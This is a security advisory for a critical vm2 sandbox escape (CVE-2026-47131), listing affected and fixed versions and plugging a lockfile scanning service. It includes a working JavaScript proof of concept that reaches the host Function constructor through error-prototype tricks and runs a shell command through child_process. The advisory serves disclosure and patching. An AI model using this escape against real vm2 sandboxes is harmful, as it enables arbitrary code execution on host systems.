CriticalGHSA-v6mx-mf47-r5wgCVE-2026-47131

vm2 has a Sandbox Escape issue

Published 29 May 2026 · Updated 12 Jun 2026

Affected package

vm2npm
Affected
<3.11.4
Fixed in
3.11.4
Update to the fixed version for your release line, for example:npm install vm2@3.11.4

Details

Summary

By combining Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__"), Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__"), and Node.js's ERR_INVALID_ARG_TYPE Error, the host's TypeError constructor can be obtained, which allows the escape from the sandbox. This allows attackers to run arbitrary code.

PoC

"use strict";

const { VM } = require("vm2");
const vm = new VM();

vm.run(`
  "use strict";

  const getProto = Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__");
  const setProto = Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__");

  async function f() {
    try {
      await WebAssembly.compileStreaming();
    } catch(e) {
      setProto.call(getProto.call(e), null);
    }

    try {
      await WebAssembly.compileStreaming();
    } catch(e) {
      const HostFunction = e.constructor.constructor;
      new HostFunction("return process")().mainModule.require("child_process").execSync("echo pwned", { stdio: "inherit" });
    }
  }

  f();
`);

Impact

Sandbox Escape → RCE

Is GHSA-v6mx-mf47-r5wg in any of your client repos?

Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected vm2, and gives you the command that fixes it.

References

Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.